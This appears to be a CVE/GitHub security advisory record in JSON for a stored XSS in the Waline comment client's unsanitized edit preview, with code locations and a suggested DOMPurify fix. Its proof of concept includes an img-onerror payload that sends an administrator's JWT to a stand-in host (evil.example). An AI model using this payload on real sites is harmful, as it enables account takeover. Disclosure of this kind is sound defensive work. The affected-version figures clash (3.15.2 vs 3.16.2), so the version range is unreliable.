{"id":"CVE-2026-64670","aliases":["CVE-2026-64670","GHSA-crj3-q72p-ggqm"],"related":[],"kind":"vulnerability","state":"published","title":"Stored XSS in @waline/client via the unsanitized markdown preview of a comment's raw body on edit","summary":"Waline is a comment system with backend support. In versions 3.15.2 and prior, @waline/client renders the comment editor's live preview with marked and no sanitizer (utils/markdown.ts), and the preview is injected with v-html. When a comment is edited, the editor is seeded with the comment's raw, un-sanitized body (orig). Only administrators and the comment owner can edit. So an administrator who clicks Edit on an attacker's comment renders that attacker's raw HTML in their own session: an unauthenticated commenter achieves privilege-escalation stored XSS against a moderator with a single Edit click. At time of publication, there are no publicly available patches.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"Waline is a comment system with backend support. In versions 3.15.2 and prior, @waline/client renders the comment editor's live preview with marked and no sanitizer (utils/markdown.ts), and the preview is injected with v-html. When a comment is edited, the editor is seeded with the comment's raw, un-sanitized body (orig). Only administrators and the comment owner can edit. So an administrator who clicks Edit on an attacker's comment renders that attacker's raw HTML in their own session: an unauthenticated commenter achieves privilege-escalation stored XSS against a moderator with a single Edit click. At time of publication, there are no publicly available patches.","source":"cvelist"},{"lang":"en","text":"### Summary\n\n`@waline/client` renders the comment editor's live preview with `marked` and no sanitizer (`utils/markdown.ts`), and the preview is injected with `v-html`.\n\nWhen a comment is edited, the editor is seeded with the comment's raw, un-sanitized body (`orig`).\n\nOnly administrators and the comment owner can edit. So an administrator who clicks Edit on an attacker's comment renders that attacker's raw HTML in their own session: an unauthenticated commenter achieves privilege-escalation stored XSS against a moderator with a single Edit click.\n\n### Details\n\n`packages/client/src/utils/markdown.ts:18-37` renders markdown with `marked` and returns the raw HTML with no sanitization (the client bundles no DOMPurify):\n\n```ts\nreturn marked.parse(parseEmoji(content, emojiMap)) as string;\n```\n\n`packages/client/src/components/CommentBox.vue`:\n\n```ts\nonMounted(() => {\n  if (props.edit?.objectId) editor.value = props.edit.orig; // :509  raw comment body\n  watchImmediate(() => editor.value, (value) => {\n    previewText.value = parseMarkdown(value, { ... });        // :519  runs immediately on mount\n  });\n});\n```\n\n```html\n<div v-show=\"showPreview\" class=\"wl-preview\">     <!-- :616  v-show keeps the node in the DOM -->\n  <div class=\"wl-content\" v-html=\"previewText\" /> <!-- :621 -->\n</div>\n```\n\n`watchImmediate` runs the callback synchronously at mount, so `previewText` is populated with the unsanitized render as soon as the box mounts in edit mode.\n\n`v-show` (not `v-if`) means the `v-html` node is present in the DOM (display:none), so an `<img onerror>` fires without the moderator ever opening the preview tab.\n\nThe tainted value is the attacker's raw comment. `packages/server/src/controller/comment.js:41` sets `comment.orig = comment.comment` for any logged-in user before `:55` runs DOMPurify, so `orig` is the pre-sanitization body. `formatCmt` returns it to logged-in users, and `CommentCard.vue:104` shows the Edit button to admin or owner.\n\n### Proof of concept\n\n1. As an anonymous user, post a comment whose body is the payload below via `POST /api/comment`:\n\n```\nPOST /api/comment\n{ \"url\": \"/any-post\", \"nick\": \"a\", \"comment\": \"<img src=x onerror=fetch('//evil.example/'+JSON.parse(localStorage.WALINE_USER).token)>\" }\n```\n\n2. On the public page the server sanitizes the display copy (markdown-it -> DOMPurify), so nothing fires for ordinary readers and the comment shows as a broken image. The raw body is stored in `orig`.\n\n3. As an administrator or the comment owner, click Edit on that comment during normal moderation.\n\n4. `CommentBox` mounts, seeds the editor with the raw `orig`, and `watchImmediate` immediately renders it through `parseMarkdown` (marked, no sanitizer) into the `v-html` preview node. Because the preview uses `v-show` (display:none), that node is already in the DOM without opening the preview tab, so `onerror` fires at once in the admin's session and exfiltrates their `localStorage` JWT.\n\nThe server's own comment guard strips this same `<img onerror>` on the stored display copy, which is why the public listing is safe; the edit preview is the unguarded path.\n\n### Impact\n\nThe waline JWT is in same-origin `localStorage`, so the payload can read it, yielding full administrative account takeover.\n\n### Suggested fix\n\nSanitize `parseMarkdown`'s output with DOMPurify before returning it, mirroring the server guard: add `dompurify` to `@waline/client` and wrap the return in `DOMPurify.sanitize(..., { FORBID_TAGS: ['form','input','style'], FORBID_ATTR: ['autoplay','style'] })`.","format":"markdown","source":"ghsa"}],"published":"2026-11-11T03:42:22.276Z","modified":"2026-11-25T15:30:14.625Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N","score":9.3,"rating":"CRITICAL"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N","score":9.3,"rating":"CRITICAL"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N","score":9.3,"rating":"CRITICAL"}],"cwes":["CWE-79","CWE-116"],"affected":[{"ranges":[{"version":"<= 3.15.2","status":"affected"}],"vendor":"walinejs","product":"waline","source":"cvelist"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","lastAffected":"3.16.2"}],"ecosystem":"npm","package":"@waline/client","purl":"pkg:npm/%40waline/client","source":"ghsa"}],"references":[{"url":"https://github.com/walinejs/waline/security/advisories/GHSA-crj3-q72p-ggqm","tags":["exploit","web","x-refsource-confirm"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-64670","tags":["advisory"],"sources":["ghsa"]},{"url":"https://github.com/walinejs/waline","tags":["package"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"no","technicalImpact":"total","date":"2026-11-12T19:31:49.794Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-64670","url":"https://www.cve.org/CVERecord?id=CVE-2026-64670","licence":"CVE Terms of Use","modified":"2026-11-12T19:32:23.984Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-crj3-q72p-ggqm","url":"https://github.com/advisories/GHSA-crj3-q72p-ggqm","licence":"CC-BY-4.0","modified":"2026-11-25T15:30:14.625Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-64670","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-64670","licence":"Public domain","modified":"2026-11-12T20:18:49.697Z"}],"updatedAt":"2026-11-25T22:59:50.318Z","epss":{"score":0.00447,"percentile":0.40632,"date":"2026-12-01T12:00:22.000Z"}}